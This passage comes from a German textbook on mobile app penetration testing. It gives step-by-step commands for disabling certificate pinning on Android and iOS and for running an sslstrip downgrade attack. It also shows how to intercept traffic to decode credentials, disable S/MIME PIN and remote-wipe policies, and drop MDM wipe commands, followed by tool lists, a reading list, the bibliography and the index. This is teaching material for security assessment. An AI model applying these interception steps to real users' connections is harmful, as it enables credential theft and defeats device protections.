1. Installation der Android-SSL-TrustKiller-Applikation per
adb install Android-SSL-TrustKiller.apk
2. Öffnen der Substrate-Applikation
a. Link Substrate Files
b. Restart System (Soft)
3. Starten der Applikation, die wir analysieren möchten
Nun sollten alle SSL-Verbindungen in der Burp Suite auftauchen und die Applikation
ohne Fehlermeldungen oder Warnhinweise funktionieren. Wenn wir uns
zeitgleich die Ausgaben von logcat anschauen, so sollten wir Hinweise wie die
4 Android-SSL-TrustKiller: https://github.com/iSECPartners/Android-SSL-TrustKiller

206 9 Angriffe auf die Datenübertragung
nachfolgend dargestellten sehen. Diese deuten auf ein erfolgreiches Hooking des
SSL TrustKiller hin:
I/CydiaSubstrate( 9999): MS:Notice: Loading:
/data/app/com.android.SSLTrustKiller.apk
I/SSLTrustKiller(11594): getTrustManagers() override
I/SSLTrustKiller(11594): Hooking init in javax.net.ssl.SSLContext
I/SSLTrustKiller(11594): init() override in javax.net.ssl.SSLContext
I/SSLTrustKiller(11594): isSecure()
called(org.apache.http.conn.ssl.SSLSocketFactory)
I/SSLTrustKiller(11594): getTrustManagers() override
Codebeispiel 9–1: Ausgabe von logcat mit Hinweisen auf aktive Android-SSL-TrustKiller-
Erweiterung für Cydia Substrate
Sollte der zuvor erwähnte Android-SSL-TrustKiller nicht zum erhofften Erfolg
führen, so kann ein weiteres Werkzeug vom Team der iSEC Partners verwendet
werden: Android-SSL-Bypass5 .
iOS
Für Apples iOS haben wir mehrere Tools zur Auswahl, die uns bei dieser Aufgabe
unterstützen können. Beginnen wollen wir mit Snoop-it, das bereits in Abschnitt
6.1.2 ausführlich beschrieben wurde.
Snoop-it funktioniert im Wesentlichen identisch zu dem unter Android beschriebenen
Modul SSL-TrustKiller. Es sucht nach API-Aufrufen, deren Zweck
das Überprüfen von SSL-Zertifikaten ist. Findet es zur Laufzeit einen solchen Aufruf,
modifiziert es die Ergebnisse des Aufrufs so, dass jedes Zertifikat als gültig
anerkannt wird und die Applikation die Kommunikation fortsetzt.
Das Vorgehen für den Analysten ist hierbei sehr einfach gehalten: Er muss lediglich
den entsprechenden Schieber in den Einstellungen von Snoop-it aktivieren
(siehe Abbildung 9–5).
Eine weitere Möglichkeit, das Certificate Pinning zu unterbinden, bietet die
Lösung iOS-SSL-Kill-Switch6 von iSEC Partners. SSL-Kill-Switch modifiziert die
Low-Level-SSL-Funktionen innerhalb der Secure Transport API. Darunter befinden
sich z. B. die Aufrufe von SSLSetSessionOption() und SSLHandshake(). Wie
auch bei Snoop-it schafft es die Lösung, die Prüfung der SSL-Zertifikate so zu
verändern, dass alle Zertifikate als gültig zurückgegeben werden. Um dieses Tool
auf unserem Testgerät zu installieren, gehen wir wie folgt vor:
5 Android-SSL-Bypass: https://github.com/iSECPartners/android-ssl-bypass
6 iOS-SSL-Kill-Switch: https://github.com/iSECPartners/ios-ssl-kill-switch

9.2 Man-in-the-Middle-Angriffe 207
Abb. 9–5: Deaktivieren von SSL Certificate Pinning via Snoop-it
1. Übertragen der iOS-SSL-Kill-Switch-Applikation per
scp com.isecpartners.nabla.sslkillswitch.deb root@:/
2. Nun verbinden wir uns per SSH auf das Testgerät.
3. Dort installieren wir die iOS-SSL-Kill-Switch-Applikation per
dpkg -i com.isecpartners.nabla.sslkillswitch.deb
4. Nun müssen wir noch das SpringBoard neu starten, damit die Änderungen
auch sichtbar werden:
killall -HUP SpringBoard
5. Im Anschluss deaktivieren wir das SSL Certificate Pinning, wie in Abbildung
9–6 gezeigt.
Seit einiger Zeit gibt es auch eine Version 27 des hier gezeigten iOS-SSL-Kill-
Switch, die in manchen Fällen bessere Ergebnisse liefert.
Die dritte Möglichkeit, das Certificate Pinning zu unterbinden, bietet die Lösung
TrustMe8 von der Intrepidus Group. Diese Lösung deaktiviert die SecTrust-
Evaluate-Methode, wodurch alle Zertifikate als gültig anerkannt werden.
7 SSL-Kill-Switch 2: https://github.com/nabla-c0d3/ssl-kill-switch2
8 TrustMe: https://github.com/intrepidusgroup/trustme

208 9 Angriffe auf die Datenübertragung
Abb. 9–6: Deaktivieren von SSL Certificate Pinning via iOS-SSL-Kill-Switch
Problematik: 64-Bit-Systeme
Zum aktuellen Zeitpunkt haben beide der vorgestellten Lösungen ein Problem mit
Betriebssystemen, die auf 64 Bit beruhen (z. B. iOS 8.x und 9.x). Daher bleibt bei
neueren iOS-Versionen oft nur das manuelle Suchen und Manipulieren der API-
Aufrufe übrig – zumindest so lange, bis Updates der Tools bereitgestellt werden. Ein
Versuch ist es meist aber trotzdem wert.
Windows 10 Mobile
Für Windows 10 Mobile sind zum aktuellen Zeitpunkt leider keine Tools und
Wege bekannt, das Certificate Pinning einer Applikation zu umgehen, außer der
Verwendung eines Debuggers und dem manuellen Anpassen der entsprechenden
Abfragen zur Laufzeit der Applikation.

9.3 SSL-Strip-Angriffe 209
9.3 SSL-Strip-Angriffe
Der SSL-Strip-Angriff – oder auch SSL-Downgrade-Angriff genannt – ist im Wesentlichen
auch ein klassischer Man-in-the-Middle-Angriff. Das Spezielle an dem
SSL-Strip-Angriff ist, dass der Analyst mithilfe von speziellen Tools die mobile
Applikation dazu bringt, nicht die gewünschte verschlüsselte Verbindung aufzubauen,
sondern auf eine unverschlüsselte Verbindung zurückzugreifen.
Dazu entwickelte der Softwareexperte Moxie Marlinspike einen Proxy namens
sslstrip9 . Dieser Proxy durchsucht automatisiert die angefragten Webseiten
nach eingebetteten https://-Links und ersetzt diese durch gleichlautende http://-
Links. Sollte die Applikation direkt versuchen, eine HTTPS-Webseite aufzurufen,
so biegt auch hier das Tool die Anfrage zu einer unverschlüsselten HTTP-
Webseite um (siehe Abbildung 9–7).
HTTPS-Anfrage
HTTP-Anfrage
HTTP-Antwort
HTTP-Anfrage
HTTP-Antwort
Umbiegen der
HTTPS-Verbindung
Abb. 9–7: Schematische Darstellung eines SSL-Strip-Angriffs
Gelingt dieser Angriff, so erhält der Analyst Zugriff auf alle Informationen
aus der eigentlich verschlüsselten Verbindung. Darunter befinden sich sehr häufig
Passwörter oder andere sensible Nutzer- bzw. Applikationsdaten. Im Unterschied
zu den in den vorherigen Abschnitten dieses Kapitels beschriebenen Angriffen
tauchen hier beim Benutzer meist keine Warnhinweise auf.
Diese Art des Angriffs war in den Jahren 2012 bis 2014 sehr verbreitet und
gerade auch bei mobilen Applikationen sehr oft erfolgreich. In den vergangenen
Jahren hat man jedoch eine Veränderung des Bewusstseins der Entwickler festgestellt
und so sind heutzutage nur noch sehr wenige Applikationen für diesen
Angriff anfällig. Trotz dieser Tatsache sollte der SSL-Strip-Angriff bei jedem Assessment
einer mobilen Lösung berücksichtigt und getestet werden. Um diesen
Angriff durchzuführen, gehen wir wie folgt vor:
1. Als ersten Schritt müssen wir die IP-Weiterleitung aktivieren:
■
■
■
sudo sysctl -w net.inet.ip.forwarding=1
sudo sysctl -w net.inet.ip.fw.enable=1
sudo sysctl -w net.inet.ip.fw.verbose=1
9 sslstrip: https://github.com/moxie0/sslstrip

210 9 Angriffe auf die Datenübertragung
2. Im nächsten Schritt konfigurieren und aktivieren wir den Paketfilter wie folgt:
■
■
■
Wir erstellen eine Datei namens /etc/pfsslstrip.conf.
In diese Datei fügen wir folgenden Inhalt ein:
rdr pass on en1 proto tcp from any to any port 80
-> 127.0.0.1 port 8080.
Nun aktivieren wir den Filter mithilfe des Befehls:
sudo pfctl -e -f pfsslstrip.conf.
3. Im Anschluss daran starten wir sslstrip per Eingabe von:
python sslstrip.py -l 8080 -w ./sslstrip.log.
4. Als weiteren Schritt müssen wir nun noch den Proxy auf dem mobilen Endgerät
auf die IP-Adresse des Analyserechners und Port 8080 setzen.
5. Zu guter Letzt starten wir die Applikation, die wir untersuchen wollen, und
füttern sie mit Daten bzw. interagieren wie gewohnt mit ihr.
Die Datei sslstrip.log enthält nun alle aufgezeichneten Pakete und somit auch
sämtliche sensible Nutzerdaten aus der mobilen Applikation.
Nachdem wir nun wissen, wie man die Verschlüsselung der Datenübertragung
aufbrechen kann, werden wir in Abschnitt 9.4 uns anschauen, wie man die
so mitgeschnittenen Daten auswertet und welche Informationen man darin finden
kann.
9.4 Anwendungsbeispiele und Auswertung
Nachdem wir in den ersten Abschnitten gesehen haben, wie man sich in die verschlüsselte
Verbindung von mobilen Applikationen einklinken kann, werden wir
uns nun an ein paar Beispielen anschauen, wie man die aufgezeichneten Daten
analysieren kann. In Abschnitt 9.4.2 lernen wir noch eine sehr nützliche Funktion
von vielen MitM-Proxies kennen – die Möglichkeit, Daten zu manipulieren,
bevor sie an das Backend bzw. das mobile Endgerät gesendet werden. In diesem
Schritt lassen sich oft schon wichtige Änderungen vornehmen, die das weitere
Analysieren der Applikation deutlich erleichtern.
9.4.1 Parameter in Paketen decodieren
Bei fast allen gängigen Applikationen ist es so, dass die Daten nicht im Klartext
an den Backend-Server gesendet werden, sondern in einer codierten Form.
Dies liegt meist daran, dass die APIs im Hintergrund sensibel auf Änderungen in
dem empfangenen Zeichensatz oder auf bestimmte Zeichen reagieren. In vielen
Fällen werden die Nutzerdaten in Base64 umgewandelt oder URL-codiert. Ein
klassisches Beispiel hierfür sind E-Mail-Applikationen, wie wir sie im Folgenden
ebenfalls betrachten werden.

9.4 Anwendungsbeispiele und Auswertung 211
In Abbildung 9–8 sehen wir den Verlauf unserer Proxy-Aufzeichnung. Speziell
von Interesse sind für uns hier Aufrufe vom Typ POST und die URL Microsoft-
Server-ActiveSync. POST ist immer ein guter Hinweis auf Daten, die das Mobiltelefon
verlassen, und somit natürlich von hohem Interesse, da sich hierunter
sehr häufig Nutzernamen und Passwörter befinden, aber auch andere persönliche
Nutzerdaten. In diesem Beispiel macht es uns die URL sehr leicht, da wir an ihr
schon erkennen, dass es sich um eine Kommunikation mit einem vermeintlichen
ActiveSync-Gateway handelt.
Abb. 9–8: Proxy-Aufzeichnung der Burp Suite
Betrachten wir den unteren Teil der Ausgabe, so sehen wir in der ersten Zeile die
URL, die von der Applikation kontaktiert wird, zusammen mit einem codierten
POST-Parameter. Dies könnte bereits der erste interessante Wert sein, der uns im
Laufe späterer Analysen weiterhelfen kann. Hierzu verwenden wir die Funktion
von Burp Suite, diesen Parameter an den Decoder zu senden und dort auszuwerten
(wie in Abbildung 9–9 gezeigt).
Wie wir an diesem Ergebnis erkennen, war der codierte Parameter nur wenig
hilfreich. Wir haben aber noch eine weitere Chance: Authorization. Dieser Wert
verspricht schon dem Namen nach interessante Inhalte. Auch hier senden wir
den codierten Parameter an den Decoder. Das Ergebnis zeigt die Nutzerdaten
zum Abrufen der E-Mails: Domäne, Nutzername und Passwort. In unserem Fall:
ww047\user01:passw0rd!

212 9 Angriffe auf die Datenübertragung
Abb. 9–9: Burp-Suite-Decoder-Funktionalität
9.4.2 Pakete abfangen und manipulieren
Nachdem wir nun an einem einfachen Beispiel gesehen haben, wie hilfreich das
Decodieren von einzelnen Parametern aus dem Netzwerkverkehr sein kann, wird
in diesem Abschnitt gezeigt, dass es sehr oft auch von Vorteil für unser Assessment
sein kann, wenn wir bestimmte Pakete blockieren oder manipulieren, bevor
sie weiterverarbeitet werden.
Das erste Beispiel zeigt, wieso es hilfreich sein kann, Daten zu manipulieren.
In diesem Fall verwenden wir eine Android-Applikation, die zur PIM-
Synchronisation im Unternehmen eingesetzt werden kann. Beim Einrichten der
Applikation, aber auch nach gewissen Zeitabständen, versucht die Applikation,
die Sicherheitsrichtlinien vom Exchange-Server der Firma zu aktualisieren.
Je nach gesetzten Einstellungen können diese ein Assessment erschweren. Daher
ist es praktisch, wenn wir ein solches Paket abfangen und manipulieren können.
Abbildung 9–10 zeigt einen Ausschnitt eines solchen Paketes.
Abb. 9–10: Burp-Suite-Interception-Funktionalität

9.5 Zusammenfassung 213
Hier können wir z. B. den Timeout der S/MIME-PIN verändern, sodass es
diesen Timeout nicht mehr gibt und somit die PIN-Abfrage für das eingefügte
S/MIME-Zertifikat hinfällig wird und wir an alle verschlüsselten E-Mails kommen,
ohne die PIN des Nutzers zu kennen. Des Weiteren können wir in diesen
Richtlinien auch noch die Möglichkeit einer Fernlöschung deaktivieren, was einem
Angreifer deutlich mehr Zeit verschaffen würde. Was man bei solchen Richtlinien
ebenfalls sehr häufig findet, sind Einstellungen bezüglich einer Jailbreak-
Erkennung, also ob die Applikation auf potenziell gerootete Geräte reagiert oder
nicht. Gerade solche Einstellungen können bei einem Assessment oder einem Angriff
enorm hilfreich sein, da man sich als Analyst die Arbeit spart, diese Detektionstechniken
manuell zu finden und zu umgehen.
Genauso wichtig wie das Verändern von Anfragen kann aber auch das Abfangen
und Blockieren von solchen Nachrichten sein. Gerade Applikationen, die sich
mit ActiveSync-Servern verbinden – aber auch z. B. Mobile Device Management
(MDM)-Applikationen –, empfangen häufig per HTTPS die Aufforderung, den
Container oder das ganze Endgerät zu löschen. Können wir eine solche Nachricht
in unserem Proxy im Intercept-Modus abfangen, so haben wir auch die
Möglichkeit, dieses Paket per Drop einfach wegzuwerfen, sodass das Endgerät
die Nachricht nie erhält und somit auch keine Daten löschen kann. Aus diesem
Grund ist es sehr wichtig, dass man während einer Analyse einer Applikation das
Endgerät konstant an den Proxy angeschlossen hat und die Pakete überwacht.
9.5 Zusammenfassung
In diesem Kapitel haben wir gesehen, warum es hilfreich sein kann, die Verbindung
zwischen einem mobilen Endgerät bzw. der Applikation und den Backend-
Servern zu überwachen. Dies haben wir durch Man-in-the-Middle-Angriffe auf
die verschlüsselte Verbindung realisiert. Dazu haben wir das Gerät an einen Proxy
angeschlossen und gezeigt, wie man Zertifikatsbeschränkungen umgehen und sogar
Certificate Pinning auf den einzelnen Plattformen deaktivieren kann.
Im letzten Abschnitt sind wir noch auf hilfreiche Erweiterungen der Burp
Suite eingegangen – Decoder und Intercept – und haben sie uns anhand realer
Applikationen angeschaut.
So konnten wir mithilfe der im Rahmen dieses Kapitels gezeigten Techniken
Sicherheitsrichtlinien für Applikationen ändern oder wichtige Befehle des
Backend-Servers abfangen und eine Ausführung verhindern.

215
10 Wie geht die Reise weiter?
Dieses Buch sollte Ihnen dabei helfen, eine erste Einführung in des Testen und
Analysieren von mobilen Applikationen zu bekommen und auf kritische Funktionen
der einzelnen Betriebssysteme aufmerksam zu werden. Dabei haben wir uns
eine ganze Reihe an Tools und Techniken angesehen, deren Aufzählung jedoch
keinesfalls vollständig ist. Die Welt der mobilen Applikationen ändert sich ständig
und damit auch die Techniken, um diese Apps zu untersuchen. Aus diesem
Grund soll das letzte Kapitel dazu genutzt werden, Ihnen noch ein paar hilfreiche
weitere Tools und Quellen für Informationen zu zeigen und natürlich auch etwas
Übungsmaterial zur Verfügung zu stellen, um das gezeigte Wissen aus diesem
Buch praktisch anwenden zu können.
10.1 Weitere Tools
Im Verlauf dieses Buches haben wir gemeinsam eine ganze Reihe an Werkzeugen
kennengelernt, die das Analysieren oder Reversing der einzelnen Applikationen
– teilweise oder auch komplett – übernommen haben. Diese Werkzeuge sind
aber nicht die einzigen Möglichkeiten, wie man die gezeigten Schritte durchführen
kann. Darum sind im Folgenden noch weitere interessante und hilfreiche Tools
aufgelistet, die einen Blick wert sind und an vielen Stellen weiterhelfen können.
10.1.1 Android
Zu den bereits in den entsprechenden Kapiteln vorgestellten Tools gibt es für
Android noch eine Menge weiterer interessanter Werkzeuge, die für die Analyse
von Applikationen verwendet werden können. Eine Auswahl an hilfreichen
Werkzeugen, die man sich als Analyst anschauen sollte, sobald man mit den hier
erwähnten Tools nicht mehr weiterkommt, zeigt Tabelle 10–1.
Weitere Tools und Werkzeuge sind auf der folgenden Webseite aufgelistet
und werden dort auch regelmäßig ergänzt: https://github.com/ashishb/
android-security-awesome.

216 10 Wie geht die Reise weiter?
Name
Andriller
apk-tool
APKinspector
frida
Fridump
NowSecure Lab
Quick Android
Review Kit
(QARK)
Simplify
Sublime Text
Beschreibung
Ein gutes Forensik-Werkzeug im Bereich Android, das viele der hier im
Buch gezeigten Schritte automatisiert.
Gutes Werkzeug, wenn man die APK-Dateien manipulieren möchte,
bevor man sie auf einem Testgerät ausführt. Ähnlich wie baksmali
bzw. smali ist es in der Lage, wieder eine lauffähige Applikation zu
erzeugen, nachdem der Analyst den Code verändert hat.
Ein Werkzeug, das sehr ähnlich zu Codeinspect ist, jedoch nicht die
Fähigkeit der Laufzeitmanipulation bietet.
Ein sehr mächtiges Tool zur Laufzeitmanipulation von iOS- und
Android-Applikationen (für iOS-Applikationen siehe Abschnitt 6.1.4).
Ein neues Tool zum Auslesen des RAM von Android- und iOS-Endgeräten,
das einen sehr guten ersten Eindruck hinterlassen hat. Zu finden
ist es unter: http://pentestcorner.com/introduction-to-fridump/.
Ein kommerzielles Werkzeug, das iOS- und Android-Applikationen
automatisiert analysiert, aber auch das manuelle Reversing
unterstützt.
Ein Toolkit, das in der Lage ist, sehr viele Schwachstellen in
Android-Applikationen automatisiert zu erkennen.
Auch bekannt unter dem Namen Generic Android Deobfuscator. Ein
nettes Tool, das durch Ausführen der Applikation in der Lage ist,
einen deobfuskierten Quellcode zu erstellen. Kann hilfreich sein,
wenn die Applikation stark obfuskiert ist oder man als Analyst mit
den Ausgaben der hier gezeigten Tools nicht weiterkommt.
Bietet dank Androguard-Modul die Möglichkeit, Android-
Applikationen ohne Kenntnis der Androguard-Befehle zu analysieren.
Kann gerade für Anfänger auf diesem Gebiet sehr hilfreich sein.
Tab. 10–1: Liste weiterer Tools für das Reversing und die Suche nach Schwachstellen in
Android-Applikationen
10.1.2 iOS
Wie auch schon bei Android gibt es auch für iOS noch eine Menge weiterer Tools,
die für die Analyse von Applikationen verwendet werden können. Eine – mit
Sicherheit nicht vollständige – Übersicht zeigt Tabelle 10–2.

10.2 Wo kann ich üben? 217
Name
Introspy
iRet
Fridump
NowSecure Lab
radare2
Reveal
Beschreibung
Analysiert iOS-Applikationen ähnlich wie auch idb oder Snoop-it.
Übernimmt viele der in diesem Buch gezeigten Aufgaben
automatisiert. Gerade für Anfänger könnte dies ein interessantes
Werkzeug sein.
Ein neues Tool zum Auslesen des RAM von Android- und iOS-
Endgeräten, das einen sehr guten ersten Eindruck hinterlassen hat.
Zu finden ist es unter:
http://pentestcorner.com/introduction-to-fridump/.
Ein kommerzielles Werkzeug, das iOS- und Android-Applikationen
automatisiert analysiert, aber auch das manuelle Reversing
unterstützt.
Ein Tool sehr ähnlich zu Hopper und IDA Pro, aber OpenSource.
Dieses Tool ermöglicht es, den Aufbau einer Applikation anzuzeigen
und so interessante Views schneller zu finden als durch manuelle
Suche. Die Namen der Views helfen beim Reversing mittels IDA Pro
oder Hopper.
Tab. 10–2: Liste weiterer Tools für das Reversing und die Suche nach Schwachstellen in
iOS-Applikationen
10.2 Wo kann ich üben?
Wer noch etwas Material zum Üben der hier gezeigten Tools und Methoden
sucht – und dazu auch Anleitungen bzw. Lösungen möchte –, der findet gerade
im Bereich iOS und Android sehr gute Projekte und zugehörige Applikationen
auf den folgenden Webseiten:
■ OWASP Goat-Droid für Android:
https://github.com/jackMannino/OWASP-GoatDroid-Project
■ DIVA (Damn insecure and vulnerable App) für Android:
http://www.payatu.com/damn-insecure-and-vulnerable-app/
■ OWASP iGoat für iOS:
https://code.google.com/p/owasp-igoat/
■ DVIA (Damn Vulnerable iOS Application):
http://damnvulnerableiosapp.com/
■ Infosec Institute bietet viele Anleitungen zu diesem – aber auch anderen –
Themen:
http://resources.infosecinstitute.com/
Die hier aufgeführten Applikationen bieten gute Schritt-für-Schritt-Anleitungen
und zeigen, wie man die Lücken findet, und teilweise auch, wie man sie in der

218 10 Wie geht die Reise weiter?
Realität vermeidet. Dies ist ideal für den Einsteiger, um sich mit den Tools und
der Thematik tiefer zu beschäftigen und deren Umgang und Einsatz zu üben.
Ich wünsche daher viel Spaß beim Aufspüren der Lücken!
10.3 Wo finde ich weiterführende Informationen?
Analysiert man die Sicherheit von mobilen Applikationen, so ist neben der Applikation
selbst auch noch das darunterliegende Betriebssystem wie auch das Backend
von Interesse, denn beide dieser Endpunkte können einen massiven Einfluss
auf die Sicherheit der Applikationen und vor allem der verarbeiteten und gespeicherten
Daten haben. Aus diesem Grund sollte der Analyst (auch Penetrationstester
genannt) sich auch mit der Sicherheit und Verwundbarkeit dieser Systeme
auskennen.
Hierfür ist u. a. folgende weiterführende Lektüre empfehlenswert:
■
Android
■
■
■
Android Security Internals von Nikolay Elenkov
Android Hackers Handbook von Joshua Drake, Pau Oliva Fora, Zach
Lanier, Collin Mulliner, Stephen Ridley und Georg Wicherski
Android Forensics: Investigation, Analysis and Mobile Security for Google
Android von Andrew Hoog
■
iOS
■
■
■
■
■
iOS Hackers Handbook von Charlie Miller, Dionysus Blazakis, Dino
Dai Zovi, Stefan Esser, Vincenzo Iozzo und Ralf-Philipp Weinmann
Mac OS X and iOS Internals von Jonathan Levin
Hacking and Securing iOS Applications von Jonathan Zdziarski
iPhone Forensics: Recovering Evidence, Personal Data, and Corporate
Assets von Jonathan Zdziarski
iOS Application Security – The Definitive Guide for Hackers and Developers
von David Thiel
■
Backend
■
■
■
■
Hacking: Die Kunst des Exploits von Jon Erickson
Hacking Web Apps: Detecting and Preventing Web Application Security
Problems von Mike Shema
The Basics of Hacking and Penetration Testing: Ethical Hacking and
Penetration Testing Made Easy von Patrick Engebretson
Hacking mit Metasploit: Das umfassende Handbuch zu Penetration
Testing und Metasploit von Michael Messner

219
Literaturverzeichnis
[1] Steven Arzt, Siegfried Rasthofer, Christian Fritz, Eric Bodden, Alexandre
Bartel, Jacques Klein, Yves Le Traon, Damien Octeau und Patrick
McDaniel. FlowDroid: Precise context, flow, field, object-sensitive and
lifecycle-aware taint analysis for android apps. In: Proceedings of the
35th ACM SIGPLAN conference on Programming language design and
implementation, 2014.
[2] J. Bergeron, M. Debbabi, J. Desharnais, M. M. Erhioui, Y. Lavoie und
N. Tawbi. Static detection of malicious code in executable programs. In
Proceedings of the Symposium on Requirements Engineering for
Information Security, 2001.
[3] M. A. Bishop. The art and science of computer security. Addison-Wesley
Longman Publishing Co., 2002.
[4] Dominic Chell, Tyrone Erasmus, Shaun Colley und Ollie Whitehouse.
The Mobile Application Hacker’s Handbook. Wiley, 2015.
[5] Bundesministerium der Justiz und für Verbraucherschutz.
Bundesdatenschutzgesetz.
http://www.gesetze-im-internet.de/bdsg_1990/index.html.
[6] A.P. Felt, M. Finifter, E. Chin, S. Hanna und D. Wagner. A survey of
mobile malware in the wild. In Proceedings of the 1st ACM workshop on
Security and privacy in smartphones and mobile devices, Seiten 3–14,
ACM, 2011.
[7] Gartner. Gartner Says Worldwide Smartphone Sales Grew 9.7 Percent in
Fourth Quarter of 2015. http://www.gartner.com/newsroom/id/3215217,
2016.
[8] Claudio Guarnieri, Alessandro Tanasi, Jurriaan Bremer und Mark
Schloesser. cuckoo sandbox. https://www.cuckoosandbox.org/.
[9] Martina Lindorfer, Matthias Neugschwandtner, Lukas Weichselbaum,
Yanick Fratantonio, Victor van der Veen und Christian Platzer.
ANDRUBIS - 1,000,000 Apps Later: A View on Current Android
Malware Behaviors. Proceedings of the International Workshop on
Building Analysis Datasets and Gathering Experience Returns for
Security (BADGERS), 2014.
[10] Linux Kernel Organization Inc. Linux source code – sched.h.
http://lxr.linux.no/linux+v3.6/include/linux/sched.h, 2012.

220 Literaturverzeichnis
[11] Andreas Moser, Christopher Kruegel und Engin Kirda. Limits of Static
Analysis for Malware Detection. In Annual Computer Security
Applications Conference (ACSAC), December 2007.
[12] Alex Plaskett und Nick Walker. Windows Phone 8 Application Security
Whitepaper. MWR Infosecurity Labs, 2014.
[13] Siegfried Rasthofer, Steven Arzt, Marc Miltenberger und Eric Bodden.
Reverse Engineering Android Apps With CodeInspect. TU Darmstadt,
2016.
[14] Michael Spreitzenbarth, Felix Freiling, Florian Echtler, Thomas Schreck
und Johannes Hoffmann. Mobile-Sandbox: having a deeper look into
android applications. In: Proceedings of the 28th Annual ACM
Symposium on Applied Computing, 2013.
[15] Starbug. Ich sehe, also bin ich ... Du.
https://media.ccc.de/v/31c3_-_6450_-_de_-_saal_1_-_201412272030_-_
ich_sehe_also_bin_ich_du_-_starbug, 2014.
[16] Statista. Number of apps available in leading app stores as of July 2015.
http://www.statista.com/statistics/276623/
number-of-apps-available-in-leading-app-stores/, 2015.
[17] Kimberly Tam, Salahuddin J. Khan, Aristide Fattori und Lorenzo
Cavallaro. CopperDroid: Automatic Reconstruction of Android Malware
Behaviors. In: Proceedings of the 22nd Annual Network and Distributed
System Security Symposium, 2015.
[18] Carsten Willems, Thorsten Holz und Felix Freiling. Toward Automated
Dynamic Malware Analysis Using CWSandbox. IEEE Security &
Privacy, 2007.

221
Index
A
Activity 7, 83, 84
ActivityManager 85
adb 94, 97, 104
adb backup 94, 95
addJavascriptInterface 91
Address Space Layout Randomization siehe
ASLR
Adware 26
aes-cbc-essiv:sha256 97
Androguard 56
Android 2, 31, 43, 67, 202, 203, 205, 215
Android Backup Extractor 95
Android Debug Bridge siehe adb
Android Studio 5, 110
Android-Manifest 7, 45, 77, 95
Android-SSL-TrustKiller 205
API 4
APKtool 74
Apple iOS siehe iOS
Apple System Log 167
Application Programming Interfaces siehe API
AppManifest.xml 179, 180, 188, 196
appx 179
ARC 141, 177
ASLR 141, 173, 193
Atom Editor 183
B
Backup 94
baksmali 49
Bildschirmsperre siehe Screenlock
BinScope 188, 194
BitLocker 23
Brew 35, 119
Broadcast Receiver 8
Brute-Force-Angriff 97, 98, 103, 108, 157, 191
BuildProp Enhancer 110
Burp Suite 201, 202, 204, 211, 212
BusyBox 68
C
Capabilities 187
CFG 63, 131
Charles Proxy 201
class-dump 120, 154, 157
Codeinspect 59, 79, 110–112
Component Object Model 22
Configuration Manager 22
Content Provider 8, 86
Cortana 192
CredentialHash 190
Crypto Footer 96
Cryptolocker 27
CuckooDroid 79
CVE-2013-6271 86
cycript 122, 125, 155, 157, 158
cydia 116
Cydia Substrate 75, 205
D
Dataprotection-Level 15, 145
DDMS 113
DEP 141, 193
Device Health Attestation 24
dex2jar 47
double-free 177
DRM 171, 180
DroidBox 79
Drozer 69, 78, 84, 86, 90, 93
dumpdecrypted 121, 125, 171
DVM 4
dynamische Analyse 40, 79
E
Eclipse 5, 110
EDP 23
Emulator 34, 79
enjarify 48
Enterprise Data Protection siehe EDP

222 Index
F
FairPlay 171
FDE 96
File Juicer 170
FileDP 145, 163
FlowDroid 63
frida 141, 155, 157
fstab 97
Full Disk Encryption siehe FDE
Fuzzing 196
G
gesture.key 99
Grayware 26
H
HAS 24
Hashcat 98, 103
Health Attestation Service siehe HAS
hexdump 5
Hopper 128, 151
HTTP-Response-Cache 170
I
IDA Pro 110, 132, 151, 183
idb 140, 160, 161, 167, 169, 173, 175–177
ILSpy 183, 185
Intent 8
Introspy 76
iOS 8, 35, 115, 137, 202, 204, 206, 216
iOS-SSL-Kill-Switch 206
iproxy 119
iTunes 164
J
JADx-GUI 55
jailbreak 116, 213
JavascriptInterface 91, 92
JD-GUI 52
Jimple 61
JTAG 100
K
Keyboard-Cache 169
Keychain 17, 159
Keychain-Dumper 144, 159
kSecAttr 17, 18, 160
L
libimobiledevice 119
lipo 122
locksettings.db 101
logcat 206
Logos 149, 152
LUKS 96
M
Mach-O-Binary 13
Malware 25
Man-in-the-Middle-Angriff siehe MitM
MitM 199–201, 203
N
.NET reflector 183
NSFileProtection 15, 145
NSLog 167
NSURLCache 170
O
Obfuscation 39
otool 138, 172, 174, 176, 177
OWASP Top 10 27
P
PackageManager 44, 74
password.key 101
Pasteboard 168
pasteBoardWithName 168
pasteBoardWithUniqueName 168
PBKDF2 97, 98
Permissions 76, 78, 187
Phone7Market 180
PIE 173
PocketPCs 19
Pontentially Unwanted Applications siehe PUA
Position Independent Executable siehe PIE
PUA 26
R
Rainbow Table 100, 191
Ransomware 27
Reversing 39, 43, 115, 182, 183
RootCloak 75
S
Same Origin Policy 91
Sandbox 40
Santoku 33
SCP 116, 125, 126
Screenlock 99, 190

Index 223
scrypt 98
Secure Boot 23
Secure Boot Chain 14
Services 8
settings.db 101
Shared Preferences 8, 106
smali 49, 78
Snoop-it 138, 148, 155, 160, 206
Spyware 26
SQL-Injection 89, 90
SQLite 105
SQLiteBrowser 105, 170
SQLmap 90
SSH 116
SSL 199
SSL-Downgrade-Angriff 209
SSL-Kill-Switch2 207
SSL-Strip 209
SSL-TrustKiller 76
statische Analyse 39 siehe Reversing
Sublime Text 183
T
Theos 149, 151, 152
U
UEFI 23
UIPasteBoardNameFind 168
UIPasteBoardNameGeneral 168
use-after-free 177
W
WebView 91
Windows 10 Mobile siehe Windows Phone
Windows CE 18
Windows InTune 22, 24
Windows NT 19
Windows Phone 18, 19, 36, 179, 187, 202, 204,
208
Windows Phone Internals 36
Windows Registry 190, 192
Windows Runtime 21
Windows Store 22
Windows-NT-Kernel 20
Windows 10 SDK 36
WinRT 21, 22
WMAppManifest.xml 179, 180, 188, 196
X
xap 179
Xcode 35, 167
XPosed 110